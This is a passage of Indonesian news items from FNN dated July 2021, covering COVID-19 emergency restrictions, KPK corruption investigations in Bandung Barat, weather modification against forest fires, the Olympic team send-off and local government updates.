nakes, mungkin lebih dari cukup. Sayangnya, terlalu banyak vitamin dan suplemen yang diberikan kepada Juliari Batubara, mantan Menteri Sosial yang sekarang meringkuk di penjara. Penulis adalah Wartawan Senior FNN.co.id.

Pemkab Belitung Batasi Jam Operasional Tempat Usaha

Belitung, FNN - Pemerintah Kabupaten Belitung, Provinsi Kepulauan Bangka Belitung, membatasi jam beroperasinya tempat usaha di daerah itu seperti, kafe, rumah makan dan tempat hiburan malam (THM) hingga pukul 20:00 WIB. Bupati Belitung sekaligus Ketua Satgas Percepatan dan Penanganan COVID-19 Belitung, Sahani Saleh di Tanjung Pandan, Kamis mengatakan kebijakan tersebut diberlakukan guna menekan kenaikan kasus positif COVID-19 dalam beberapa hari terakhir. "Kebijakan ini adalah gebrakan kami untuk menyikapi lonjakan kasus positif COVID-19. Kami tidak akan hanya diam dan ini akan dilakukan secara maksimal tidak boleh setengah-setengah," katanya. Menurut dia, aturan jam malam operasional tempat usaha di daerah itu akan diberlakukan selama satu minggu ke depan mulai, Kamis (8/7) besok sampai dengan Kamis (15/7) mendatang. "Selanjutnya akan kami evaluasi bagaimana apakah masih terjadi peningkatan kasus positif COVID-19 ataukah ada penurunan dengan pemberlakuan ini," ujarnya. Ia menambahkan, selain itu pihaknya juga menutup objek wisata di daerah itu selama satu minggu ke depan guna mengantisipasi peningkatan kasus positif COVID-19. "Area bermain atau wahana permainan anak-anak di halaman gedung nasional kami tutup karena mengundang kerumunan anak-anak jadi di sana cukup hanya pedagang saja sampai batas pukul 20:00 WIB," katanya. Dikatakan dia, mengingat kasus positif COVID-19 yang terus meningkat maka Kegiatan Belajar Mengajar (KBM) tahun ajaran baru 2021/2022 terpaksa ditunda selama kurun waktu satu minggu mendatang. Ia menyebutkan, hingga, Rabu (7/7) jumlah kasus positif COVID-19 di daerah itu sejak Maret 2020 mencapai 3.042 orang, sembuh 2.646 orang dan meninggal dunia sebanyak 65 orang. "Sehingga total kasus aktif COVID-19 di Belitung sekarang ini mencapai 331 kasus," ujar Sahani. (mth)

BPPT Terapkan Modifikasi Cuaca untuk Cegah Karhutla di Riau

Pekanbaru, FNN - Badan Pengkajian dan Penerapan Teknologi (BPPT) melalui Balai Besar Teknologi Modifikasi Cuaca (BBTMC) kembali menerapkan Operasi Teknologi Modifikasi Cuaca (TMC) guna menekan potensi kejadian bencana karhutla di Provinsi Riau sejak 3 Juli 2021 hingga 15 hari setelahnya. Kepala BPPT Hammam Riza melalui pernyataannya yang diterima di Pekanbaru, Kamis, mengatakan penerapan iptek modifikasi cuaca dengan mengoptimalkan potensi curah hujan mampu berkontribusi mencegah kebakaran hutan dan lahan. "Teknologi Modifikasi Cuaca dapat menjadi salah satu bagian dari solusi permanen dalam pengendalian karhutla di masa depan," kata dia. Dalam dua tahun terakhir melalui Inpres RI Nomor 3 Tahun 2020, kegiatan TMC diarahkan untuk pencegahan kebakaran hutan dan lahan. "BPPT diamanahkan dalam aturan tersebut melaksanakan tugas TMC. BPPT merupakan satu-satunya institusi yang mampu melaksanakan TMC dan merupakan bagian dari keunikan BPPT sebagai lembaga kaji terap teknologi yang dikuatkan oleh UU Sisnas Iptek sebagai penyelenggara iptek" kata dia. Oleh karena itu, dalam proses kelembagaannya BPPT terus mengupayakan berbagai layanan teknologi agar berkelanjutan dan semakin diperkuat dalam konteks integrasi riset dan inovasi secara nasional. BPPT memiliki independensi dalam mengoperasikan TMC melalui unit teknologi yang dimilikinya dan akan terus berinovasi memberikan kemanfaatan penerapan TMC yang lebih besar serta berkontribusi dalam fokus teknologi lainnya. Pada pelaksanaan Operasi TMC yang memasuki hari ke- 4 di Riau, sudah mampu menghasilkan volume air hujan yang signifikan. Hujan yang terjadi, menurut Hammam, mampu mempertahankan TMAT (Tinggi Muka Air Tanah) lahan gambut dan meredam munculnya titik panas. "Dapat dipantau dari jumlah 'hotspot' (titik panas) nol dengan tingkat kepercayaan lebih 80 persen selama kegiatan TMC berlangsung," katanya. (mth)

Presiden Jokowi Lepas Kontingen Indonesia ke Olimpiade Tokyo 2021

Jakarta, FNN - Presiden RI Joko Widodo melepas kontingen Indonesia yang terdiri atas 28 atlet dan 17 ofisial ke Olimpiade Musim Panas pada 23 Juli-10 Agustus 2021 di Tokyo, Jepang. “Rakyat menunggu saudara kembali ke Tanah Air dengan membawa medali yang membanggakan ke Indonesia. Semoga perjuangan saudara-saudara berhasil,” kata Presiden Jokowi dalam upacara pelepasan kontingen Indonesia di Halaman Depan Istana Merdeka, Jakarta, Kamis. Kontingen yang terdiri atas 28 atlet dan 17 ofisial itu dipimpin Chef de Mission (Ketua Kontingen) Rosan Roeslani. Kontingen Indonesia akan bertanding di delapan cabang olahraga yakni atletik, panahan, rowing, menembak, bulu tangkis, angkat besi, renang dan selancar. Presiden mengatakan dirinya sudah mengetahui bahwa para atlet telah berlatih keras untuk mencapai prestasi di Olimpiade Tokyo. Para atlet juga dinilai telah siap bertanding secara sportif, dan memiliki potensi untuk meraih medali juara. “Dan saya yakin perjuangan saudara-saudara akan membuahkan hasil,” kata Presiden. Presiden berpesan agar seluruh kontingen Indonesia terus menjaga kesehatan, stamina, dan motivasi. Para atlet juga harus fokus untuk meraih prestasi di ajang olahraga multi-cabang paling bergengsi di dunia itu. “Rakyat menaruh harapan besar kepada saudara-saudara dan prestasi saudara akan menjadi prestasi negara kita Indonesia,” kata Presiden Jokowi. Upacara pelepasan atlet ke Olimpiade ini digelar secara terbatas dengan menerapkan protokol kesehatan di halaman depan Istana Merdeka. Sejumlah peserta upacara lainnya mengikuti upacara pelepasan secara virtual. Turut hadir Menteri Pemuda dan Olahraga (Menpora) Zainudin Amali, dan Ketua Komite Olimpiade Indonesia (KOI) Raja Sapta Oktohari. Manpora Zainudin mengatakan seluruh atlet dan ofisial telah disuntik vaksin COVID-19 pada 26 Februari 2021 lalu. Olimpiade Musim Panas Tokyo, kata Zainudin, akan berlangsung pada 23 Juli-10 Agustus 2021. "Hasil kualifikasi melebihi dari target, dari rencananya awalnya hanya memberangkatkan 22 atlet, tapi dengan usaha dan kerja keras semua pihak kita bisa memberangkatkan 28 atlet," ujar Menpora. (mth)

Milenial di Jatim Diajak Jaga Kedaulatan Energi

Surabaya, FNN - Rumah Milenial Jawa Timur mengajak seluruh milenial di Provinsi Jatim untuk turut berpartisipasi dalam menjaga keandalan dan kedaulatan energi di Indonesia. Koordinator Rumah Millenial Jawa Timur Febryan Kiswanto di Surabaya, Kamis, mengatakan bahwa menjaga kedaulatan energi dapat diagendakan dalam ruang kajian maupun lokakarya yang mengajak para pakar untuk memberikan dukungan. "Kita tahu bahwa, hasil Persetujuan Paris (Paris Aggrement) yang dibuat pada Konferensi Perubahan Iklim Perserikatan Bangsa-Bangsa (PBB) 2015 berisikan persetujuan untuk menjaga kelestarian lingkungan dan iklim dunia," katanya. Oleh karena itu, lanjut dia, prioritas pengembangan energi nasional didasarkan prinsip mengoptimalkan penggunaan energi terbarukan. Untuk mewujudkan hal itu, Rumah Millennial Jatim mengagendakan kajian maupun lokakarya dalam bentuk diskusi kelompok terpumpun secara rutin, seperti halnya diskui bertemakan "Membangun Kebijaksanaan Pemuda terhadap Pengembangan Energi Baru Terbarukan dan Berkelanjutan" di Surabaya pada Rabu (7/7). Kegiatan tersebut menghadirkan narasumber dari berbagai latar belakang, mulai dari Kementerian Kementerian Energi dan Sumber Daya Mineral (ESDM) diwakili Dirjen Direktorat Jenderal Energi Baru, Terbarukan, dan Konservasi Energi (EBTKE) sebagai regulator, pakar akademisi EBT dari Universitas Indonesia, Manager Eksekutif Direktur Niaga PT PLN (Persero), hingga pemerhati lingkungan Walhi Jatim. Koordinator Keteknikan Lingkungan dan Panas Bumi Dirjen EBTKE Roni Chandra Harahap dalam diskusi tersebut menyampaikan bahwa pemerintah berkomitmen melaksanakan Paris Agreement yakni mengurangi emisi karbon hingga menurunkan suhu udara sampai dua derajat Celsius. Selain itu, ia mengatakan bahwa peta jalan pengembangan EBT akan terus berlangsung. Sebagaimana data yang disampaikan bahwa pada 2020 bauran EBT sebesar 11,2 persen dan pada 2025 akan mencapai 23 persen. Wakil Gubernur Jawa Timur Emil Elistianto Dardak sebelumnya, mengharapkan potensi EBT mampu dikelola untuk mendorong generasi muda berperan konkret menghadirkan ruang keilmuan dalam perumusan kebijakan publik, bukan hanya kepentingan semata. (mth)

Mendagri Minta Kepala Daerah Masifkan Sosialisasi PPKM Darurat

Jakarta, FNN - Menteri Dalam Negeri (Mendagri) Muhammad Tito Karnavian meminta kepala daerah memasifkan sosialisasi pemberlakuan pembatasan kegiatan masyarakat (PPKM) darurat. Mendagri Tito Karnavian dalam keterangannya di Jakarta, Kamis, menilai sosialisasi dengan menggandeng organisasi kemasyarakatan (ormas) ataupun tokoh masyarakat seperti di Jawa Timur, dapat dijadikan model percontohan dan direplikasi di daerah lainnya. "Upaya persuasif, sosialisasi seperti disampaikan Kapolda Jawa Timur, bagus dengan NU, Muhammadiyah, dan lainnya, mungkin bisa direplikasi untuk kabupaten kota melakukan hal yang sama dengan tokoh-tokoh masyarakat," katanya. Mendagri juga menekankan pentingnya kehadiran kepala daerah untuk mau turun ke lapangan dalam melakukan pengecekan jalannya PPKM darurat. Menurut dia hal itu penting dilakukan sebagai upaya mengindentifikasi secara langsung mobilitas masyarakat di berbagai sektor. "Semua kepala daerah turun semua, ini yang dipesankan oleh bapak presiden pada saat ratas (rapat terbatas), (yaitu) kehadiran kepala daerah di lapangan," kata Tito Karnavian. Selain berpesan soal kekompakan kepala daerah bersama forkopimda dalam melaksanakan PPKM darurat, ia juga meminta kepala daerah segera merealisasikan bantuan sosial (bansos) yang bersumber dari APBD masing-masing. Dengan begitu, Mendagri Tito berharap masyarakat yang membutuhkan bantuan segera mendapatkan haknya melalui penyaluran bansos sebagai dukungan bantuan dari pemerintah daerah. Sebelumnya, Mendagri juga sudah menyampaikan bahwa kunci keberhasilan PPKM darurat terletak pada sinergi dan kolaborasi antara semua pihak. Pemerintah Pusat, bersama pemerintah daerah dan forkopimda, hingga masyarakat harus bergerak bersama, satu visi, untuk bersama memutus rantai penyebaran COVID-19. (mth)

Kemarin, Temuan Harga Obat Tak Wajar Sampai Pelanggaran PPKM Darurat

Jakarta, FNN - Ragam peristiwa hukum terjadi di Indonesia, Rabu (7/7), mulai dari temuan Komisi Pengawas Persaingan Usaha (KPPU) terkait harga obat yang melebihi harga eceran tertinggi (HET) selama pandemi COVID-19 sampai pelanggaran aturan PPKM Darurat di beberapa daerah. Berikut ini lima berita hukum menarik pilihan ANTARA: 1. KPPU temukan harga obat penanganan COVID-19 melebihi HET Komisi Pengawas Persaingan Usaha (KPPU) menemukan harga obat-obatan penanganan COVID-19 yang dijual melebihi harga eceran tertinggi (HET), sebagaimana diatur Keputusan Menteri Kesehatan (KMK) Nomor HK.1.7/Menkes/4826/2021 tentang HET Obat dalam Masa Pandemi Corona Virus Disease 2019, dalam besaran yang bervariasi. Wakil Ketua KPPU Guntur S Saragih, dalam siaran persnya yang disampaikan melalui Kanwil IV Surabaya, Rabu, mengatakan temuan itu hasil pantauan di masa Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) darurat. Selengkapnya baca di sini. 2. Puluhan pelanggar PPKM Darurat jalani sidang di PN Kota Sukabumi Puluhan pelanggar Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat menjalani sidang tindak pidana ringan (tipiring) di Pengadilan Negeri Kota Sukabumi, Jawa Barat, di Jalan Bhayangkara, Rabu. "Puluhan warga yang menjalani sidang tersebut karena kedapatan melanggar PPKM Darurat, seperti tidak mengindahkan protokol kesehatan," kata Kapolres Sukabumi Kota AKBP Sumarni, di sela pemantauan pelaksanaan sidang tipiring, di PN Kota Sukabumi, Rabu. Selengkapnya baca di sini. 3. Dukung PPKM darurat, polisi tutup dua akses tol Bekasi arah Jakarta Petugas kepolisian menutup dua akses tol di Kabupaten Bekasi, Jawa Barat, yang mengarah ke DKI Jakarta guna mendukung pelaksanaan PPKM darurat di Jawa dan Bali pada 3-20 Juli 2021. "Gerbang Tol Delta Mas dan Grand Wisata yang mengarah ke Jakarta kami tutup," kata Kapolres Metro Bekasi Komisaris Besar Hendra Gunawan di Cikarang, Jawa Barat, Rabu. Selengkapnya baca di sini. 4. KPK kawal penyaluran kembali bansos COVID-19 Komisi Pemberantasan Korupsi (KPK) memastikan tetap mengawal penyaluran kembali bantuan sosial (bansos) pada masa pemberlakuan pembatasan kegiatan masyarakat (PPKM) darurat. "Tentu saja KPK akan tetap mengawal program dan kebijakan pemerintah dalam penanganan pandemi COVID-19," kata Plt Juru Bicara KPK Bidang Pencegahan Ipi Maryati Kuding dalam keterangannya di Jakarta, Rabu. Selengkapnya baca di sini. 5. KPK konfirmasi lima saksi soal dugaan penerimaan gratifikasi Aa Umbara Komisi Pemberantasan Korupsi (KPK) mengonfirmasi lima saksi perihal dugaan penerimaan gratifikasi oleh tersangka Bupati Bandung Barat nonaktif Aa Umbara Sutisna (AUM) dari berbagai pihak di Kabupaten Bandung Barat. KPK memeriksa mereka di Kantor Pemkab Bandung Barat, Selasa (6/7). Mereka diperiksa sebagai saksi untuk tersangka Aa Umbara dan kawan-kawan terkait penyidikan kasus dugaan korupsi pengadaan barang tanggap darurat bencana pandemi COVID-19 di Dinas Sosial Kabupaten Bandung Barat Tahun 2020. Selengkapnya baca di sini. (sws)

KPK Dalami Penerimaan Gratifikasi Aa Umbara dari Beberapa Instansi

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mendalami penerimaan gratifikasi oleh Bupati Bandung Barat nonaktif Aa Umbara Sutisna (AUM) dari beberapa instansi di Pemerintah Kabupaten (Pemkab) Bandung Barat, Jawa Barat. KPK, Rabu (7/7) memeriksa lima saksi untuk tersangka Aa Umbara dan kawan-kawan dalam penyidikan kasus dugaan korupsi pengadaan barang tanggap darurat bencana pandemi COVID-19 pada Dinas Sosial Kabupaten Bandung Barat Tahun 2020. Pemeriksaan digelar di Kantor Pemkab Bandung Barat. "Para saksi hadir dan tim penyidik masih terus mendalami antara lain terkait dugaan adanya penerimaan gratifikasi oleh tersangka AUM dari beberapa instansi di Pemkab Bandung Barat," kata Plt Juru Bicara KPK Bidang Pencegahan Ipi Maryati Kuding dalam keterangannya di Jakarta, Kamis. Lima saksi, yakni Kepala Dinas Sosial Bandung Barat Sri Dustirawati, Kabid Pengelolaan Informasi Administrasi Kependudukan Dinas Kependudukan dan Pencatatan Sipil Bandung Barat Syamsul Efendi, Kabid Usaha, Mikro, Kecil dan Menengah Dinas Koperasi, Usaha Kecil, dan Menengah Bandung Barat Wewen Surwenda, dan dua PNS masing-masing Aah Wastiah dan Lukmanul Hakim. Ipi juga menginformasikan lima saksi lainnya yang tidak menghadiri panggilan penyidik pada Rabu (7/7), yaitu PNS bernama Ade Sudiana, Kepala Dinas Pariwisata Bandung Barat Heri Partomo, Kabid Pembinaan Sekolah Dasar Dinas Pendidikan Bandung Barat Rustiyana, ibu rumah tangga Seftriani Mustofa, dan pedagang bernama Tugihadi. "Ade Sudiana tidak hadir dan konfirmasi untuk dijadwal ulang. Heri Partomo tidak hadir dan konfirmasi dengan alasan sakit," ucap Ipi. Selanjutnya, untuk saksi Rustiyana, Seftriani Mustofa, dan Tugihadi tidak mengonfirmasi terkait ketidakhadiran mereka. "KPK tetap mengimbau untuk kooperatif hadir dan tim penyidik segera melakukan penjadwalan ulang," kata Ipi. Selain Aa Umbara, KPK juga telah menetapkan dua tersangka lainnya, yakni Andri Wibawa (AW) dari pihak swasta/anak Aa Umbara dan pemilik PT Jagat Dir Gantara (JDG) dan CV Sentral Sayuran Garden City Lembang (SSGCL) M Totoh Gunawan (MTG). Dalam konstruksi perkara disebut pada Maret 2020 karena adanya pandemi COVID-19, Pemkab Bandung Barat menganggarkan sejumlah dana untuk penanggulangan pandemi COVID-19 dengan melakukan "refocusing" anggaran APBD Tahun 2020 pada Belanja Tidak Terduga (BTT). Dengan menggunakan bendera CV Jayakusuma Cipta Mandiri (JCM) dan CV Satria Jakatamilung (SJ), Andri mendapatkan paket pekerjaan dengan total senilai Rp36 miliar untuk pengadaan paket bahan pangan Bantuan Sosial Jaring Pengaman Sosial (Bansos JPS). Sedangkan M Totoh dengan menggunakan PT JDG dan CV SSGCL mendapatkan paket pekerjaan dengan total senilai Rp15,8 miliar untuk pengadaan bahan pangan Bansos JPS dan Bantuan Sosial terkait Pembatasan Sosial Berskala Besar (Bansos PSBB). Dari kegiatan pengadaan tersebut, Aa Umbara diduga telah menerima uang sejumlah sekitar Rp1 miliar yang sumbernya disisihkan oleh M Totoh dari nilai harga per paket sembako yang ditempelkan stiker bergambar Aa Umbara untuk dibagikan pada masyarakat Kabupaten Bandung Barat. Sementara M Totoh diduga telah menerima keuntungan sejumlah sekitar Rp2 miliar dan Andri juga diduga menerima keuntungan sejumlah sekitar Rp2,7 miliar. Selain itu, Aa Umbara juga diduga menerima gratifikasi dari berbagai dinas di Pemkab Bandung Barat dan para pihak swasta yang mengerjakan berbagai proyek di Kabupaten Bandung Barat sejumlah sekitar Rp1 miliar dan fakta ini masih terus akan didalami oleh tim penyidik KPK. (sws)

KPK Panggil Sekda Bandung Barat

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK), Kamis memanggil sembilan saksi dalam penyidikan kasus dugaan korupsi pengadaan barang tanggap darurat bencana pandemi COVID-19 pada Dinas Sosial Kabupaten Bandung Barat Tahun 2020. Mereka dipanggil untuk tersangka Bupati Bandung Barat nonaktif Aa Umbara Sutisna (AUM) dan kawan-kawan. Salah satu saksi yang dipanggil adalah Sekretaris Daerah (Sekda) Kabupaten Bandung Barat Asep Sodikin. "Kamis, bertempat di Kantor Pemkab Bandung Barat, tim penyidik mengagendakan pemanggilan saksi-saksi untuk tersangka AUM dan kawan-kawan," ucap Plt Juru Bicara KPK Bidang Pencegahan Ipi Maryati Kuding dalam keterangannya di Jakarta, Kamis. Delapan saksi lainnya yang dipanggil, yaitu Ketua Badan Amil Zakat Kabupaten Bandung Barat Hilman Farid, Ketua Dewan Kemakmuran Masjid Agung Ash-Shiddiq Kabupaten Bandung Barat KH Agus Saefur Romdoni, Inspektur Pembantu Wilayah Khusus Inspektorat Daerah Kabupaten Bandung Barat/Kabid Bina Marga 2017-2019 Moch Ridwan Evi. Selanjutnya, Staf Honorer Dinas Kesehatan Kabupaten Bandung Barat Aji Rusmana, Rini Rahmawati dari pihak swasta, dan tiga PNS masing-masing A Fauzan Azzima, Chandra Kusuma, dan Aan Sopian Gentiana. Selain Aa Umbara, KPK juga telah menetapkan dua tersangka lainnya, yakni Andri Wibawa (AW) dari pihak swasta/anak Aa Umbara dan pemilik PT Jagat Dir Gantara (JDG) dan CV Sentral Sayuran Garden City Lembang (SSGCL) M Totoh Gunawan (MTG). Dalam konstruksi perkara disebut pada Maret 2020 karena adanya pandemi COVID-19, Pemkab Bandung Barat menganggarkan sejumlah dana untuk penanggulangan pandemi COVID-19 dengan melakukan "refocusing" anggaran APBD Tahun 2020 pada Belanja Tidak Terduga (BTT). Dengan menggunakan bendera CV Jayakusuma Cipta Mandiri (JCM) dan CV Satria Jakatamilung (SJ), Andri mendapatkan paket pekerjaan dengan total senilai Rp36 miliar untuk pengadaan paket bahan pangan Bantuan Sosial Jaring Pengaman Sosial (Bansos JPS). Sedangkan M Totoh dengan menggunakan PT JDG dan CV SSGCL mendapakan paket pekerjaan dengan total senilai Rp15,8 miliar untuk pengadaan bahan pangan Bansos JPS dan Bantuan Sosial terkait Pembatasan Sosial Berskala Besar (Bansos PSBB). Dari kegiatan pengadaan tersebut, Aa Umbara diduga telah menerima uang sejumlah sekitar Rp1 miliar yang sumbernya disisihkan oleh M Totoh dari nilai harga per paket sembako yang ditempelkan stiker bergambar Aa Umbara untuk dibagikan pada masyarakat Kabupaten Bandung Barat. Sementara M Totoh diduga telah menerima keuntungan sejumlah sekitar Rp2 miliar dan Andri juga diduga menerima keuntungan sejumlah sekitar Rp2,7 miliar. Selain itu, Aa Umbara juga diduga menerima gratifikasi dari berbagai dinas di Pemkab Bandung Barat dan para pihak swasta yang mengerjakan berbagai proyek di Kabupaten Bandung Barat sejumlah sekitar Rp1 miliar dan fakta ini masih terus akan didalami oleh tim penyidik KPK. (sws)

Pasien Rawat Inap RSDC Wisma Atlet Berkurang Lima Orang

Jakarta, FNN - Jumlah pasien yang dirawat di Rumah Sakit Darurat Khusus COVID-19 (RSDC) Wisma Atlet Kemayoran, Jakarta, per Kamis, berkurang lima orang, apabila dibandingkan dengan angka pada satu hari sebelumnya, Rabu (7/7), kata kata Kepala Penerangan Komando Gabungan Wilayah Pertahanan (Kogabwilhan) I Kolonel Marinir Aris Mudian. "Pasien rawat inap terkonfirmasi positif (COVID-19) di Tower 4, 5, 6 dan 7 sebanyak 5.899 orang, sementara jumlah semula (satu hari sebelumnya) 5.904 orang. Ada pengurangan jumlah pasien rawat inap sebanyak lima orang," kata Aris menerangkan perkembangan situasi di RSDC Wisma Atlet Kemayoran, Jakarta, Kamis. Ia juga menyampaikan terhitung sejak 23 Maret 2020 sampai 8 Juli 2021, atau dalam periode lebih dari satu tahun, jumlah pasien yang dirujuk ke RS Darurat Wisma Atlet mencapai 110.521 orang. Dari jumlah itu, 103.400 pasien COVID-19 telah dinyatakan sembuh dan keluar dari rumah sakit, sementara 941 pasien dirujuk ke rumah sakit lain. Sejauh ini, kepala penerangan Kogabwilhan I TNI mencatat jumlah pasien meninggal di RS Darurat Wisma Atlet per 8 Juli 2021 ada 281 orang. Dalam kesempatan yang sama, Aris juga menyampaikan perkembangan situasi di Wisma Atlet Pademangan, khususnya Tower 8 yang menjadi tempat isolasi mandiri pasien COVID-19 tanpa gejala. Per 8 Juli 2021, jumlah pasien yang dirawat di Wisma Atlet Pademangan sebanyak 968 orang, sementara pada Rabu ada 1.090 orang. Artinya, ada pengurangan 122 pasien dalam waktu 24 jam terakhir. Sejauh ini, total pasien yang menjalani isolasi di Tower 4,5,6,7,8 Wisma Atlet Pademangan ada sebanyak 6.867 orang. Ada pengurangan sebanyak 127 orang apabila dibandingkan dengan angka pada satu hari sebelumnya 6.994 orang. Kemudian di Rumah Susun Nagrak, khususnya Tower 1, 2, dan 3, jumlah pasien yang menjalani isolasi per 8 Juli 2021 sebanyak 1.945 orang, sementara pada Rabu (7/7) ada 1.871 orang. Artinya, ada penambahan sebanyak 74 orang di Rusun Nagrak dalam waktu 24 jam terakhir. Sejak Rusun Nagrak beroperasi pada 28 Juni sampai 8 Juli, total ada 4.790 orang yang menjalani isolasi di tempat tersebut. Dari angka itu, 2.590 orang telah menyelesaikan masa isolasi dan 30 orang lainnya dirujuk ke RS lain. Sementara itu di Rumah Sakit Khusus Infeksi (RSKI) Pulau Galang, Batam, Kepulauan Riau, per Kamis, ada 326 orang yang menjalani rawat inap. "Pasien rawat inap ada 326 orang, yang di antaranya 220 orang pria dan 106 perempuan. 326 pasien itu seluruhnya terkonfirmasi positif COVID-19," terang Aris sebagaimana dikutip dari keterangan tertulisnya. Kepala penerangan Kogabwilhan I TNI itu mencatat ada pengurangan jumlah pasien rawat inap di RSKI Pulau Galang dalam waktu 24 jam terakhir sebanyak sembilan orang. "Pasien rawat inap per 8 Juli 2021 sebanyak 326 orang, semula (satu hari sebelumnya) 335 orang. Ada pengurangan jumlah pasien rawat inap sebanyak sembilan orang," kata dia menegaskan. Terhitung sejak 12 April 2020 sampai 8 Juli 2021, RSKI Pulau Galang telah menerima total 14.496 pasien. Dari jumlah itu, 6.831 pasien telah dinyatakan sembuh, 42 pasien dirujuk ke rumah sakit lain, dan 7.297 pasien suspek telah selesai menjalani perawatan, terang Kolonel Marinir Aris Mudian, Kamis. Sejauh ini, RSKI Pulau Galang belum melaporkan adanya korban jiwa akibat COVID-19 sejak rumah sakit itu beroperasi selama lebih dari satu tahun. (sws)

Kasad Beri Dukungan Untuk LBM Eijkman

Jakarta, FNN - Kepala Staf Angkatan Darat Jenderal TNI Andika Perkasa memberikan dukungan terhadap kerja-kerja ilmiah yang dilakukan Lembaga Biologi Molekuler Eijkman. Kasad Jenderal TNI Andika Perkasa dalam siaran TNI AD diterima di Jakarta, Kamis, mengatakan pihaknya akan berkomitmen memberikan dukungan dengan aksi-aksi nyata dalam mendukung Lembaga Biologi Molekuler Eijkman "Bio molekuler sendiri kan masa depan, saya yakin bahwa ini nanti mungkin menjadi kebanggaan nasional yang akan penting sekali. Kami akan committed, akan dukung, kita tidak hanya lip service, harus ada aksi yang dihasilkan di hari-hari ke depan," kata Kasad. Sebagai aksi nyata, TNI AD juga telah melakukan penandatanganan kerjasama tentang penelitian dan pembuatan vaksinasi malaria dengan Lembaga Biologi Molekuler Eijkman. Sementara itu, Direktur Lembaga Eijkman Prof Amin Soebandrio mengatakan Lembaga Eijkman bersama TNI Angkatan Darat sebenarnya telah melakukan penelitian bersama tentang malaria sejak 2010. Kerjasama tersebut memiliki fokus penelitian uji klinis berbagai obat tentang anti malaria. Kemudian untuk penandatanganan kerjasama pada akhir Juni 2021 lalu dengan TNI AD, kata dia salah satu tujuannya untuk pengujian vaksin malaria. "Karena sampai saat ini di dunia ini belum ada vaksin malaria, dan Indonesia menjadi salah satu yang terpilih untuk melakukan penelitian malaria," kata Amin. Amin Soebandrio menjelaskan kerjasama tersebut nantinya tidak hanya terbatas di bidang malaria saja, namun juga berbagai kerja ilmiah tentang biologi molekuler. "Tentunya sesuai misi kami, pengembangan ilmu biologi molekuler untuk kesejahteraan manusia di Indonesia," ujarnya. (sws)

KPU Bangka Perbaharui Rekapitulasi Daftar Pemilih Berkelanjutan

Sungailiat, Bangka, FNN - Komisi Pemilihan Umum (KPU) Bangka, Provinsi Kepulauan Bangka Belitung, memperbaharui rekapitulasi daftar pemilih berkelanjutan (DPB) guna mempermudah proses pemutakhiran data dan penyusunan daftar pemilih pada pemilu atau pemilihan berikutnya. Ketua KPU Bangka, M Hasan di Sungailiat, Kamis mengatakan, acuan rekapitulasi DPB pada surat edaran (SE) KPU RI nomor 366/PL.02-SD/01/KPU/IV/2021 yang merupakan perubahan dari SE nomor 132/PL.02-SD/01/KPU/II/2021 perihal pemutakhiran DPB. "Rekapitulasi DPB kami dilakukan setiap bulan, sedangkan rapat koordinasi yang melibatkan pemangku kepentingan "stakeholder" daerah setempat dilakukan per triwulan," jelasnya. Pada periode Juni 2021 kata dia, terdata pemilih dalam DPB sebanyak 209.226 orang terdiri laki-laki 106.988 dan pemilih perempuan mencapai 102.238 orang. Menurutnya, DPB per semester I tahun 2021 terdapat 896 data pemilih baru, jumlah pemilih tidak memenuhi syarat (TMS) sebanyak 993 orang, pemilih ganda satu orang serta pemilih pindah domisili sebanyak 992 orang. "Dalam pemutahiran DPB, kami berkoordinasi dengan berbagai pihak seperti Disdukcapil, UPTD pendidikan Wilayah II, Kemenag, Lapas Bukit Semut, Polres Bangka dan pihak kecamatan," jelasnya. Dia berharap kepada masyarakat dapat memberikan masukan dan tanggapan terkait DPB. Formulir masukan dan tanggapan dapat diakses di web KPU Kabupaten Bangka di laman kab-bangka@kpu.go.id atau bisa di halaman Facebook milik KPU Kabupaten Bangka. "Masukan dan tanggapan masyarakat diperlukan agar data dalam daftar pemilih benar-benar akurat," kata M Hasan. (sws)

Ketua DPR Akan Tinjau RS Darurat di Surabaya

Jakarta, FNN - Ketua DPR RI Puan Maharani bersama beberapa anggota DPR RI akan meninjau langsung Rumah Sakit Darurat Lapangan Tembak Kedung Cowek, di Surabaya, Jawa Timur, Kamis. Rumah sakit tersebut didirikan Pemerintah Kota Surabaya untuk menambah ruang perawatan pasien COVID-19. "Harus ada terobosan untuk menangani kondisi darurat ini. Kita pasti bisa, dan harus bisa melalui masa sulit ini bersama-sama," kata Puan dalam keterangannya di Jakarta, Kamis. Puan meninjau RS Darurat Lapangan Tembak Kedung Cowek, setelah sehari sebelumnya dirinya mendorong pemerintah membuat terobosan dengan membangun rumah sakit darurat untuk menangani lonjakan pasien COVID-19. Dia menilai rumah sakit darurat harus disiapkan untuk menampung lonjakan pasien COVID-19 namun dengan tetap memenuhi standar dan kelayakan sebagai tempat perawatan. Dalam kunjungan kerja tersebut, Puan didampingi Ketua Badan Anggaran DPR RI Said Abdullah, Wakil Ketua Komisi IX Charles Honoris, Wakil Ketua Komisi VIII Diah Pitaloka, dan Wakil Ketua Komisi XI Dolfie O.F.P. Selain itu, Puan juga direncanakan akan meninjau pelaksanaan vaksinasi di Stadion Gelora 10 November, Tambaksari, Surabaya. Vaksinasi itu dimulai pada 6-11 Juli 2021 dengan target 20.000 orang per hari dan melibatkan 1.109 petugas vaksinasi dengan 836 tenaga kesehatan. Hingga 7 Juli 2021, tercatat sudah 24.895 orang menerima vaksinasi COVID-19 yang diselenggarakan Pemerintah Kota Surabaya tersebut. Setelah meninjau pelaksanaan vaksinasi COVID-19, Puan dan anggota DPR RI akan mendengar paparan Gubernur Jawa Timur Khofifah Indar Parawansa mengenai penanganan pandemi Covid-19 di Jawa Timur. (sws)

Kasad Tegaskan Tak Ada Pungutan Dalam Penerimaan Calon Taruna Akmil

